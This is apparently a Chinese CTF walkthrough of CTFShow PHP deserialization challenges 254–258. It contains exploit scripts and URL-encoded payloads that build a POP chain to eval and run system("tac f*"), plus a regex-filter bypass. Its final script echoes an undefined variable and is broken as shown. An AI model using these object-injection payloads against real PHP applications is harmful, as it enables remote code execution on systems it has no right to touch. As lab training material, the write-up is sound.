CTFCTFShow WEB入门反序列化 WEB254-258(在更新)
LuooUpublic 的属性被序列化后会变成 属性名
protected 的属性被序列化后会变成 %00*%00属性名
private 的属性被序列化后会变成 %00类名%00属性名
浏览器无法显示 00 空字符,解决办法是URL编码。
WEB254
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
看到最后一段,对变量user创建ctfShowUser的容器,然后调用其中login方法,检测并比对传入参数username和password的值是否等于公共成员变量username和password。
如果符合,将isVip的值改为true。
后续checkVip,满足条件则输出flag。
最终Payload:
1
| url/?username=xxxxxx&password=xxxxxx
|

WEB255
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
上面的都差不多,最后变了一点。
给变量user赋一个COOKIE里的user值,那我们需要做的是COOKIE传入user的值。
那么传什么呢?user值又和下面的login属性有什么关系呢?
想到上一题的创建容器,我们这一题也去创建容器,使得user拥有ctfShowUser的方法。
然后用反序列化,那我们就序列化。
那写脚本:
1 2 3
| <?php echo urlencode(serialize(new ctfShowUser())); ?>
|
纯萌新时期的真实记录(
结果发现
这你扯不扯,原来是还要在上边把类写出来。
此时发现login里的isVip赋值被去掉了,所以我们还要把isVip赋值成true。
最终脚本如下:
1 2 3 4 5 6
| <?php class ctfShowUser{ public $isVip = true; }; echo urlencode(serialize(new ctfShowUser())); ?>
|
url编码的意义是Cookie里需要用url编码。
然后get传入username=xxxxxx&password=xxxxxx,Cookie传入user=...即可。

WEB256
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
这次看到vipOneKeyGetFlag()函数里新加了
1 2 3
| if($this->username!==$this->password){ echo "your flag is ".$flag; }
|
但是调用这个方法的是$user,也就是说我们需要在脚本里规定ctfShowUser里的username!==password.
脚本写成:
1 2 3 4 5 6 7 8
| <?php class ctfShowUser{ public $isVip = true; public $username = 'a'; public $password = 'b'; }; echo urlencode(serialize(new ctfShowUser())); ?>
|
我们改了username和password,所以GET方法传入的username和password也要对应改变。

WEB257
[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客
先拜读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
|
这次调用了一些魔术方法,比如__construct和__destruct。
开始分析:
- 依然是GET两个参数,
username和password,按需调整。
- 从COOKIE里反序列化一个
user参数,那我们就要向COOKIE里传。
- 下一步
$user->login($username,$password);,很显然是要new ctfShowUser(),因为只有这个类里有login()。
具体要什么样的类,我们继续看login()。
login里面要求账密等于参数,那很简单。
但是关键是,我们依然没有让isVip的参数变成true,而且尽管变成true也没有用,没有直接给flag。
但是话又说回来了,我们可以看到class backDoor里有eval(),这代表什么?
代表命令执行,代表我们要构造pop链,让这个eval里的参数是我们需要的值。(通常eval就是链尾)
那我们怎么调用这个eval,往上看,我们需要调用这个getInfo(),那怎么调用getInfo()?
在ctfShowUser()类里能看到,我们只要触发__destruct(),就能看到getInfo()。
__destruct()当一个对象被销毁时自动调用这个方法。
脚本执行结束会自动销毁对象,所以我们不用管。
1
| $this->class->getInfo();
|
表示当前类($this)的class参数里的getInfo()方法。
谁有getInfo?
backDoor类有啊。
那我们要让$this->class是backDoor类的实例化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class ctfShowUser{ private $class; public function __construct() //创建对象 { $this->class = new backDoor(); } } class backDoor{ private $code = 'system("tac f*");'; }
echo urlencode(serialize(new ctfShowUser())); ?>
|
payload:
1
| O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22tac+f%2A%22%29%3B%22%3B%7D%7D
|
最后
得到flag。
WEB258
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
|
先要看懂这个正则过滤**[oc]:\d+:/i**
/i:大小写不敏感。
[oc]:过滤字符o或c.
::冒号一个。
\d+:一位或更多数字。
::一个冒号。
合起来,打个比方,会匹配:O:123:,C:9:。
我们上一题的payload:
1
| O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22tac+f%2A%22%29%3B%22%3B%7D%7D
|
解码后就是:
1
| O:11:"ctfShowUser":1:{s:18:"%00ctfShowUser%00class";O:8:"backDoor":1:{s:14:"%00backDoor%00code";s:17:"system("tac f*");";}}
|
绕过也很简单,在数字前面加上+就可以了。
还有别忘了把private改成public了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class ctfShowUser{ public $class; public function __construct() //创建对象 { $this->class = new backDoor(); } } class backDoor{ public $code = 'system("tac f*");'; }
$a = serialize(new ctfShowUser()); $b = str_replace(':11',':+11',$a); $c = str_replace(':8',':+8',$b); echo urlencode($c); ?>
|
也看了很多师傅的wp,我还是觉得我这种写法比较简洁。
不知道:11和:8怎么办,那在中间把$a打出来看看就好了。
甚至再激进些,写成下面将更简洁。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
class backDoor { public $code = 'system("tac f*");'; } class ctfShowUser { public $class; }
$a = new ctfShowUser(); $a->class = new backDoor();
$b = serialize($a); $b = preg_replace('/([OC]):(\d+):/i', '$1:+$2:', $b);
echo urlencode($ser); ?>
|
我们写的exp脚本都基本按需取用。